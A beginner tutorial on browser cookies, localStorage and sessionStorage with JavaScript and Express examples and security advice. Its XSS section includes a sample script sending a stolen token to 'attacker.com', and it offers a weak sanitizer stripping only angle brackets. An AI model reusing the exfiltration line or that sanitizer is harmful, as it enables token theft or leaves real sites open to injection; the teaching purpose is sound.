Browsers offer three main ways to store data: Cookies, LocalStorage, and SessionStorage. This beginner-friendly guide explains the differences, when to use each, and how to implement them.
Table of Contents
- What is Browser Storage?
- Cookies
- LocalStorage
- SessionStorage
- Comparison Table
- When to Use Each
- Security Considerations
What is Browser Storage?
Browser storage allows you to save data on the user's device. This data persists even when the page is refreshed, making it useful for remembering user preferences, authentication tokens, and temporary data.
Simple Analogy: Think of browser storage like different types of notes:
- Cookies = Sticky notes you can mail to someone (sent with every request)
- LocalStorage = Notes in a permanent notebook (stays forever)
- SessionStorage = Notes on a whiteboard (erased when you leave)
Why Use Browser Storage?
WITHOUT storage:
❌ User logs in → Refresh page → Logged out
❌ User sets preferences → Reload → Settings lost
❌ Shopping cart → Close tab → Items gone
WITH storage:
✅ User stays logged in across page loads
✅ Preferences remembered
✅ Shopping cart persists
✅ Better user experience
Cookies
Cookies are small pieces of data stored by the browser and sent with every HTTP request to the server.
How Cookies Work
1. SERVER: Sets cookie in response
Set-Cookie: username=john; Max-Age=3600
2. BROWSER: Stores cookie
3. BROWSER: Sends cookie with every request
GET /api/profile
Cookie: username=john
4. SERVER: Reads cookie from request
Cookie Characteristics
Size Limit: 4KB per cookie
Sent to Server: YES (with every request)
Lifespan: Can be set to expire or persist
Accessible by: JavaScript (unless HttpOnly flag)
Cross-domain: Limited (same-origin policy)
Creating Cookies (JavaScript)
// Basic cookie (expires when browser closes)
document.cookie = "username=john";
// Cookie with expiration date
const expiryDate = new Date();
expiryDate.setDate(expiryDate.getDate() + 7); // 7 days from now
document.cookie = \`username=john; expires=\${expiryDate.toUTCString()}\`;
// Cookie with max-age (in seconds)
document.cookie = "username=john; max-age=604800"; // 7 days
// Cookie with path (available on entire site)
document.cookie = "username=john; path=/";
// Secure cookie (HTTPS only)
document.cookie = "token=abc123; secure; path=/";
// HttpOnly cookie (can't be set via JavaScript - only server)
// Set-Cookie: token=abc123; HttpOnly; Secure; Path=/
// Complete example
document.cookie = "username=john; max-age=604800; path=/; secure; SameSite=Strict";
Reading Cookies
// Get all cookies (returns string)
console.log(document.cookie);
// "username=john; theme=dark; language=en"
// Helper function to get specific cookie
function getCookie(name) {
const value = \`; \${document.cookie}\`;
const parts = value.split(\`; \${name}=\`);
if (parts.length === 2) {
return parts.pop().split(';').shift();
}
return null;
}
// Usage
const username = getCookie('username');
console.log(username); // "john"
// Better helper with URL decoding
function getCookie(name) {
const cookies = document.cookie.split('; ');
for (let cookie of cookies) {
const [key, value] = cookie.split('=');
if (key === name) {
return decodeURIComponent(value);
}
}
return null;
}
Deleting Cookies
// Delete by setting expiry to past date
document.cookie = "username=; expires=Thu, 01 Jan 1970 00:00:00 UTC; path=/;";
// Helper function
function deleteCookie(name) {
document.cookie = \`\${name}=; expires=Thu, 01 Jan 1970 00:00:00 UTC; path=/;\`;
}
// Usage
deleteCookie('username');
Cookie Utility Class
class CookieManager {
// Set cookie
static set(name, value, days = 7) {
const date = new Date();
date.setTime(date.getTime() + (days * 24 * 60 * 60 * 1000));
const expires = \`expires=\${date.toUTCString()}\`;
document.cookie = \`\${name}=\${encodeURIComponent(value)}; \${expires}; path=/; SameSite=Strict\`;
}
// Get cookie
static get(name) {
const cookies = document.cookie.split('; ');
for (let cookie of cookies) {
const [key, value] = cookie.split('=');
if (key === name) {
return decodeURIComponent(value);
}
}
return null;
}
// Delete cookie
static delete(name) {
document.cookie = \`\${name}=; expires=Thu, 01 Jan 1970 00:00:00 UTC; path=/;\`;
}
// Check if cookie exists
static exists(name) {
return this.get(name) !== null;
}
}
// Usage
CookieManager.set('username', 'john', 7); // 7 days
const username = CookieManager.get('username');
CookieManager.delete('username');
console.log(CookieManager.exists('username')); // false
Server-Side Cookies (Node.js/Express)
const express = require('express');
const cookieParser = require('cookie-parser');
const app = express();
app.use(cookieParser());
// Set cookie in response
app.get('/login', (req, res) => {
// Simple cookie
res.cookie('username', 'john');
// Cookie with options
res.cookie('token', 'abc123', {
maxAge: 7 * 24 * 60 * 60 * 1000, // 7 days
httpOnly: true, // Can't be accessed by JavaScript
secure: true, // HTTPS only
sameSite: 'strict' // CSRF protection
});
res.send('Logged in!');
});
// Read cookie from request
app.get('/profile', (req, res) => {
const username = req.cookies.username;
console.log('Username from cookie:', username);
res.send(\`Hello, \${username}\`);
});
// Delete cookie
app.get('/logout', (req, res) => {
res.clearCookie('username');
res.clearCookie('token');
res.send('Logged out!');
});
Cookie Flags Explained
Set-Cookie: token=abc123; HttpOnly; Secure; SameSite=Strict; Max-Age=3600
HttpOnly → Can't be accessed by JavaScript (XSS protection)
Secure → Only sent over HTTPS (encryption)
SameSite → Controls cross-site sending (CSRF protection)
- Strict → Never sent cross-site
- Lax → Sent on top-level navigation (default)
- None → Always sent (requires Secure flag)
Max-Age → Expiry time in seconds
Path → Cookie available for specific path
Domain → Cookie available for specific domain
When to Use Cookies
✅ Good for:
- Authentication tokens (with HttpOnly flag)
- Session management
- Tracking user across requests
- Server needs to read the data
- Cross-domain authentication (with proper CORS)
❌ Avoid for:
- Large amounts of data (4KB limit)
- Sensitive data without encryption
- Data that doesn't need to go to server
- Frequent updates (sent with every request)
LocalStorage
LocalStorage stores data with no expiration time. Data persists even when the browser is closed and reopened.
LocalStorage Characteristics
Size Limit: 5-10MB (varies by browser)
Sent to Server: NO
Lifespan: Permanent (until manually deleted)
Accessible by: JavaScript only
Scope: Per origin (protocol + domain + port)
Using LocalStorage
// ===================================
// STORING DATA
// ===================================
// Store string
localStorage.setItem('username', 'john');
// Store number (converts to string)
localStorage.setItem('age', 30);
// Store object (must stringify first)
const user = { name: 'John', email: 'john@example.com' };
localStorage.setItem('user', JSON.stringify(user));
// Store array
const todos = ['Buy milk', 'Walk dog'];
localStorage.setItem('todos', JSON.stringify(todos));
// ===================================
// READING DATA
// ===================================
// Get string
const username = localStorage.getItem('username');
console.log(username); // "john"
// Get number (remember to parse)
const age = parseInt(localStorage.getItem('age'));
console.log(age); // 30
// Get object (must parse JSON)
const userString = localStorage.getItem('user');
const user = JSON.parse(userString);
console.log(user.name); // "John"
// Get with default value
const theme = localStorage.getItem('theme') || 'light';
// ===================================
// DELETING DATA
// ===================================
// Remove specific item
localStorage.removeItem('username');
// Remove all items
localStorage.clear();
// ===================================
// CHECKING EXISTENCE
// ===================================
if (localStorage.getItem('username') !== null) {
console.log('Username exists');
}
// Or check length
if (localStorage.length > 0) {
console.log('LocalStorage has data');
}
LocalStorage Helper Class
class Storage {
// Set item (auto-stringify objects)
static set(key, value) {
try {
const serialized = JSON.stringify(value);
localStorage.setItem(key, serialized);
return true;
} catch (error) {
console.error('Error saving to localStorage:', error);
return false;
}
}
// Get item (auto-parse JSON)
static get(key, defaultValue = null) {
try {
const item = localStorage.getItem(key);
if (item === null) return defaultValue;
return JSON.parse(item);
} catch (error) {
console.error('Error reading from localStorage:', error);
return defaultValue;
}
}
// Remove item
static remove(key) {
try {
localStorage.removeItem(key);
return true;
} catch (error) {
console.error('Error removing from localStorage:', error);
return false;
}
}
// Clear all
static clear() {
try {
localStorage.clear();
return true;
} catch (error) {
console.error('Error clearing localStorage:', error);
return false;
}
}
// Check if key exists
static has(key) {
return localStorage.getItem(key) !== null;
}
// Get all keys
static keys() {
return Object.keys(localStorage);
}
// Get size (approximate bytes)
static size() {
let total = 0;
for (let key in localStorage) {
if (localStorage.hasOwnProperty(key)) {
total += localStorage[key].length + key.length;
}
}
return total;
}
}
// Usage
Storage.set('user', { name: 'John', age: 30 });
const user = Storage.get('user'); // Returns parsed object
console.log(user.name); // "John"
Storage.set('todos', ['Buy milk', 'Walk dog']);
const todos = Storage.get('todos', []); // Default to empty array
console.log(Storage.has('user')); // true
console.log(Storage.keys()); // ['user', 'todos']
console.log(Storage.size()); // Size in bytes
Storage.remove('user');
Storage.clear();
Real-World LocalStorage Examples
Example 1: Remember User Preferences
// Save theme preference
function setTheme(theme) {
document.body.className = theme;
localStorage.setItem('theme', theme);
}
// Load theme on page load
function loadTheme() {
const savedTheme = localStorage.getItem('theme') || 'light';
document.body.className = savedTheme;
}
// Apply on page load
loadTheme();
// Toggle theme
function toggleTheme() {
const current = document.body.className;
const newTheme = current === 'light' ? 'dark' : 'light';
setTheme(newTheme);
}
document.getElementById('themeToggle').addEventListener('click', toggleTheme);
Example 2: Shopping Cart
class ShoppingCart {
constructor() {
this.items = this.load();
}
// Load cart from localStorage
load() {
const saved = localStorage.getItem('cart');
return saved ? JSON.parse(saved) : [];
}
// Save cart to localStorage
save() {
localStorage.setItem('cart', JSON.stringify(this.items));
}
// Add item
addItem(product) {
const existing = this.items.find(item => item.id === product.id);
if (existing) {
existing.quantity += 1;
} else {
this.items.push({ ...product, quantity: 1 });
}
this.save();
}
// Remove item
removeItem(productId) {
this.items = this.items.filter(item => item.id !== productId);
this.save();
}
// Get total
getTotal() {
return this.items.reduce((sum, item) => sum + (item.price * item.quantity), 0);
}
// Clear cart
clear() {
this.items = [];
this.save();
}
}
// Usage
const cart = new ShoppingCart();
cart.addItem({ id: 1, name: 'Book', price: 29.99 });
cart.addItem({ id: 2, name: 'Pen', price: 5.00 });
console.log('Total:', cart.getTotal()); // $34.99
Example 3: Form Auto-Save
// Auto-save form as user types
const form = document.getElementById('contactForm');
const inputs = form.querySelectorAll('input, textarea');
// Save on input
inputs.forEach(input => {
input.addEventListener('input', () => {
const formData = {};
inputs.forEach(inp => {
formData[inp.name] = inp.value;
});
localStorage.setItem('formDraft', JSON.stringify(formData));
});
});
// Restore on page load
function restoreForm() {
const saved = localStorage.getItem('formDraft');
if (saved) {
const formData = JSON.parse(saved);
inputs.forEach(input => {
if (formData[input.name]) {
input.value = formData[input.name];
}
});
}
}
// Clear draft on successful submit
form.addEventListener('submit', (e) => {
e.preventDefault();
// Submit form...
localStorage.removeItem('formDraft');
});
restoreForm();
When to Use LocalStorage
✅ Good for:
- User preferences (theme, language)
- Settings and configurations
- Shopping cart
- Draft content (auto-save)
- Caching API responses
- Non-sensitive data that needs to persist
❌ Avoid for:
- Sensitive data (passwords, tokens)
- Large files or images
- Data that needs to be secure
- Data shared across tabs (use sessionStorage)
SessionStorage
SessionStorage is similar to localStorage but data only lasts for the page session (until the browser tab is closed).
SessionStorage Characteristics
Size Limit: 5-10MB (varies by browser)
Sent to Server: NO
Lifespan: Until tab/window is closed
Accessible by: JavaScript only
Scope: Per tab/window + origin
Using SessionStorage
// API is identical to localStorage
// Just use sessionStorage instead of localStorage
// ===================================
// STORING DATA
// ===================================
sessionStorage.setItem('username', 'john');
sessionStorage.setItem('userId', '123');
// Store object
const user = { name: 'John', role: 'admin' };
sessionStorage.setItem('user', JSON.stringify(user));
// ===================================
// READING DATA
// ===================================
const username = sessionStorage.getItem('username');
const user = JSON.parse(sessionStorage.getItem('user'));
// ===================================
// DELETING DATA
// ===================================
sessionStorage.removeItem('username');
sessionStorage.clear();
// ===================================
// KEY DIFFERENCE: Separate per tab
// ===================================
// Tab 1:
sessionStorage.setItem('tab', '1');
console.log(sessionStorage.getItem('tab')); // "1"
// Tab 2:
console.log(sessionStorage.getItem('tab')); // null (different tab!)
sessionStorage.setItem('tab', '2');
// Each tab has its own sessionStorage!
SessionStorage Helper Class
class SessionManager {
static set(key, value) {
try {
sessionStorage.setItem(key, JSON.stringify(value));
return true;
} catch (error) {
console.error('Error saving to sessionStorage:', error);
return false;
}
}
static get(key, defaultValue = null) {
try {
const item = sessionStorage.getItem(key);
return item ? JSON.parse(item) : defaultValue;
} catch (error) {
console.error('Error reading from sessionStorage:', error);
return defaultValue;
}
}
static remove(key) {
sessionStorage.removeItem(key);
}
static clear() {
sessionStorage.clear();
}
static has(key) {
return sessionStorage.getItem(key) !== null;
}
}
// Usage
SessionManager.set('currentStep', 3);
const step = SessionManager.get('currentStep', 1);
console.log(step); // 3
Real-World SessionStorage Examples
Example 1: Multi-Step Form
// Save progress through multi-step form
class FormWizard {
constructor() {
this.currentStep = SessionManager.get('formStep', 1);
this.formData = SessionManager.get('formData', {});
}
saveStep(stepNumber, data) {
this.formData[\`step\${stepNumber}\`] = data;
SessionManager.set('formData', this.formData);
SessionManager.set('formStep', stepNumber);
}
nextStep() {
this.currentStep++;
SessionManager.set('formStep', this.currentStep);
}
previousStep() {
this.currentStep--;
SessionManager.set('formStep', this.currentStep);
}
getStepData(stepNumber) {
return this.formData[\`step\${stepNumber}\`] || {};
}
complete() {
// Submit all data
console.log('Form completed:', this.formData);
// Clear session data
SessionManager.clear();
}
}
// Usage
const wizard = new FormWizard();
wizard.saveStep(1, { name: 'John', email: 'john@example.com' });
wizard.nextStep();
wizard.saveStep(2, { address: '123 Main St' });
// If user refreshes page, form remembers progress!
Example 2: Temporary Authentication
// Store auth token for current session only
class SessionAuth {
static login(token, user) {
SessionManager.set('authToken', token);
SessionManager.set('currentUser', user);
}
static logout() {
SessionManager.remove('authToken');
SessionManager.remove('currentUser');
}
static isAuthenticated() {
return SessionManager.has('authToken');
}
static getToken() {
return SessionManager.get('authToken');
}
static getCurrentUser() {
return SessionManager.get('currentUser');
}
static async fetchWithAuth(url, options = {}) {
const token = this.getToken();
if (!token) {
throw new Error('Not authenticated');
}
return fetch(url, {
...options,
headers: {
...options.headers,
'Authorization': \`Bearer \${token}\`
}
});
}
}
// Login
SessionAuth.login('token123', { id: 1, name: 'John' });
// Make authenticated request
const response = await SessionAuth.fetchWithAuth('/api/profile');
// Check if logged in
if (SessionAuth.isAuthenticated()) {
console.log('User:', SessionAuth.getCurrentUser());
}
// Logout
SessionAuth.logout();
// Token automatically cleared when tab closes!
Example 3: Temporary Page State
// Remember scroll position, filters, etc. for current session
class PageState {
static saveScrollPosition(page) {
SessionManager.set(\`scroll_\${page}\`, window.scrollY);
}
static restoreScrollPosition(page) {
const position = SessionManager.get(\`scroll_\${page}\`, 0);
window.scrollTo(0, position);
}
static saveFilters(page, filters) {
SessionManager.set(\`filters_\${page}\`, filters);
}
static getFilters(page) {
return SessionManager.get(\`filters_\${page}\`, {});
}
}
// Save scroll position before navigation
window.addEventListener('beforeunload', () => {
PageState.saveScrollPosition('products');
});
// Restore when coming back
PageState.restoreScrollPosition('products');
// User closes tab → All state cleared automatically
When to Use SessionStorage
✅ Good for:
- Multi-step forms (progress tracking)
- Temporary authentication (for current session)
- Page-specific state (scroll position, filters)
- Shopping session (until checkout)
- Data that shouldn't persist forever
- Sensitive data that should expire
❌ Avoid for:
- Data that needs to persist across sessions
- Data that should be shared between tabs
- Long-term storage
Comparison Table
| feature | cookies | local Storage | session Storage |
|---|---|---|---|
| Size Limit | 4KB | 5-10MB | 5-10MB |
| Sent to Server | ✅ Yes (every request) | ❌ No | ❌ No |
| Lifespan | Set by expires/max-age | Forever | Until tab closes |
| Scope | Per domain | Per origin | Per tab + origin |
| Accessibility | JS + Server | JS only | JS only |
| Security | HttpOnly flag available | No special protection | No special protection |
| Best For | Auth tokens | User preferences | Temporary data |
Detailed Comparison
COOKIES
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
✅ Sent with every HTTP request
✅ Can be HttpOnly (JS can't access)
✅ Can be Secure (HTTPS only)
✅ Can set expiration
✅ Cross-domain support (with CORS)
❌ Small size limit (4KB)
❌ Adds overhead to requests
❌ Complex API (string manipulation)
localStorage
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
✅ Large storage (5-10MB)
✅ Simple API
✅ No request overhead
✅ Persists forever
✅ Synchronous access
❌ Not sent to server
❌ Same-origin only
❌ Vulnerable to XSS
❌ Shared across all tabs
sessionStorage
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
✅ Large storage (5-10MB)
✅ Simple API
✅ No request overhead
✅ Isolated per tab
✅ Auto-clears on close
❌ Not sent to server
❌ Same-origin only
❌ Vulnerable to XSS
❌ Lost when tab closes
When to Use Each
Decision Tree
Does the SERVER need to read this data?
├─ YES → Use COOKIES
│ └─ Is it sensitive? → Add HttpOnly + Secure flags
└─ NO ↓
Should data persist after browser closes?
├─ YES → Use LOCALSTORAGE
│ └─ User preferences, settings, cart
└─ NO ↓
Should data persist for just this session?
└─ YES → Use SESSIONSTORAGE
└─ Form progress, temporary filters, session auth
Use Case Examples
Authentication Tokens:
// ✅ BEST: Cookies with HttpOnly
// Server sets: Set-Cookie: token=abc123; HttpOnly; Secure
// JavaScript can't access (XSS protection)
// Automatically sent with requests
// 🟡 OKAY: localStorage
// More convenient for SPA, but vulnerable to XSS
localStorage.setItem('token', 'abc123');
// 🟡 OKAY: sessionStorage
// Good for temporary login (like banking sites)
sessionStorage.setItem('token', 'abc123');
User Preferences:
// ✅ BEST: localStorage
// Persists across sessions
localStorage.setItem('theme', 'dark');
localStorage.setItem('language', 'en');
// ❌ BAD: cookies
// Adds unnecessary overhead to every request
document.cookie = "theme=dark";
// ❌ BAD: sessionStorage
// Lost when browser closes
sessionStorage.setItem('theme', 'dark');
Shopping Cart:
// ✅ BEST: localStorage
// Cart should persist
localStorage.setItem('cart', JSON.stringify(items));
// 🟡 OKAY: sessionStorage
// If you want cart to clear on tab close
sessionStorage.setItem('cart', JSON.stringify(items));
// ❌ BAD: cookies
// Too large for cookies (4KB limit)
document.cookie = "cart=" + JSON.stringify(items);
Form Progress:
// ✅ BEST: sessionStorage
// Form data shouldn't persist forever
sessionStorage.setItem('formData', JSON.stringify(data));
// 🟡 OKAY: localStorage
// If you want to restore form after days
localStorage.setItem('formData', JSON.stringify(data));
// ❌ BAD: cookies
// Too large, adds request overhead
document.cookie = "formData=" + JSON.stringify(data);
Security Considerations
XSS (Cross-Site Scripting) Attacks
// ❌ VULNERABLE: localStorage/sessionStorage
// If attacker injects JavaScript, they can steal data
<script>
const token = localStorage.getItem('token');
// Send token to attacker's server
fetch('https://attacker.com/steal?token=' + token);
</script>
// ✅ SAFER: HttpOnly cookies
// JavaScript can't access HttpOnly cookies
Set-Cookie: token=abc123; HttpOnly; Secure
// Attacker's script fails:
document.cookie // "username=john" (but NOT the token!)
// Best practices:
// 1. Sanitize user input
// 2. Use Content Security Policy (CSP)
// 3. Store sensitive data in HttpOnly cookies
// 4. Never trust client-side data
Never Store These in Browser Storage
❌ NEVER store:
- Credit card numbers
- Social security numbers
- Passwords (ever!)
- Private keys
- API keys (should be on server)
- Personal health information
- Any regulated data (PCI, HIPAA, etc.)
✅ CAN store:
- User preferences
- UI state
- Shopping cart
- Form drafts
- Non-sensitive user data
- Public information
Best Security Practices
// 1. Use HTTPS always
// HTTP exposes all storage to network attackers
// 2. Validate and sanitize input
function sanitize(input) {
return input.replace(/[<>]/g, '');
}
// 3. Encrypt sensitive data
function encrypt(data, key) {
// Use proper encryption library
// Don't roll your own crypto!
}
// 4. Set Content Security Policy
<meta http-equiv="Content-Security-Policy"
content="default-src 'self'; script-src 'self'">
// 5. Check for storage availability
function isStorageAvailable(type) {
try {
const storage = window[type];
const test = '__storage_test__';
storage.setItem(test, test);
storage.removeItem(test);
return true;
} catch (e) {
return false;
}
}
if (isStorageAvailable('localStorage')) {
// Use localStorage
} else {
// Use alternative (cookies, server-side)
}
// 6. Clear sensitive data on logout
function logout() {
localStorage.removeItem('userPreferences');
sessionStorage.clear();
document.cookie = 'token=; expires=Thu, 01 Jan 1970 00:00:00 UTC';
}
Browser Compatibility
All major browsers support:
✅ Cookies: Since forever (all browsers)
✅ localStorage: IE 8+, all modern browsers
✅ sessionStorage: IE 8+, all modern browsers
Mobile browsers:
✅ iOS Safari: Full support
✅ Chrome Mobile: Full support
✅ Samsung Internet: Full support
Limitations:
⚠️ Private/Incognito mode: localStorage/sessionStorage may be disabled
⚠️ Old browsers: IE 7 and below don't support Web Storage
⚠️ Storage full: Browser may reject setItem() if quota exceeded
Always check availability:
if (typeof Storage !== "undefined") {
// localStorage and sessionStorage available
} else {
// No Web Storage support, use cookies
}
Complete Example: Authentication System
class AuthSystem {
// Login - Store in multiple places based on "Remember Me"
static login(token, user, rememberMe = false) {
if (rememberMe) {
// Long-term storage
localStorage.setItem('token', token);
localStorage.setItem('user', JSON.stringify(user));
} else {
// Session-only storage
sessionStorage.setItem('token', token);
sessionStorage.setItem('user', JSON.stringify(user));
}
}
// Get token (check both storages)
static getToken() {
return localStorage.getItem('token') ||
sessionStorage.getItem('token');
}
// Get user (check both storages)
static getUser() {
const userStr = localStorage.getItem('user') ||
sessionStorage.getItem('user');
return userStr ? JSON.parse(userStr) : null;
}
// Check if authenticated
static isAuthenticated() {
return this.getToken() !== null;
}
// Logout - Clear everything
static logout() {
localStorage.removeItem('token');
localStorage.removeItem('user');
sessionStorage.removeItem('token');
sessionStorage.removeItem('user');
}
// Fetch with auth
static async fetchWithAuth(url, options = {}) {
const token = this.getToken();
if (!token) {
throw new Error('Not authenticated');
}
const response = await fetch(url, {
...options,
headers: {
...options.headers,
'Authorization': \`Bearer \${token}\`
}
});
// Handle token expiration
if (response.status === 401) {
this.logout();
window.location.href = '/login';
throw new Error('Token expired');
}
return response;
}
}
// Usage
// Login with "Remember Me"
AuthSystem.login('token123', { id: 1, name: 'John' }, true);
// Login without "Remember Me"
AuthSystem.login('token123', { id: 1, name: 'John' }, false);
// Make authenticated requests
const response = await AuthSystem.fetchWithAuth('/api/profile');
// Check auth status
if (AuthSystem.isAuthenticated()) {
console.log('User:', AuthSystem.getUser());
}
// Logout
AuthSystem.logout();
Summary
Cookies, localStorage, and sessionStorage each have their place in web development. Choose based on your needs: server access (cookies), persistence (localStorage), or temporary storage (sessionStorage).
Key Takeaways:
✅ Cookies - Small (4KB), sent to server, can be HttpOnly
✅ localStorage - Large (5-10MB), persists forever, JS only
✅ sessionStorage - Large (5-10MB), clears on tab close, JS only
✅ Use HttpOnly cookies for auth tokens
✅ Use localStorage for user preferences
✅ Use sessionStorage for temporary data
✅ Never store sensitive data in browser storage
✅ Always use HTTPS
✅ Validate and sanitize all data
Quick Selector:
- Server needs it? → Cookies
- Forever? → localStorage
- Temporary? → sessionStorage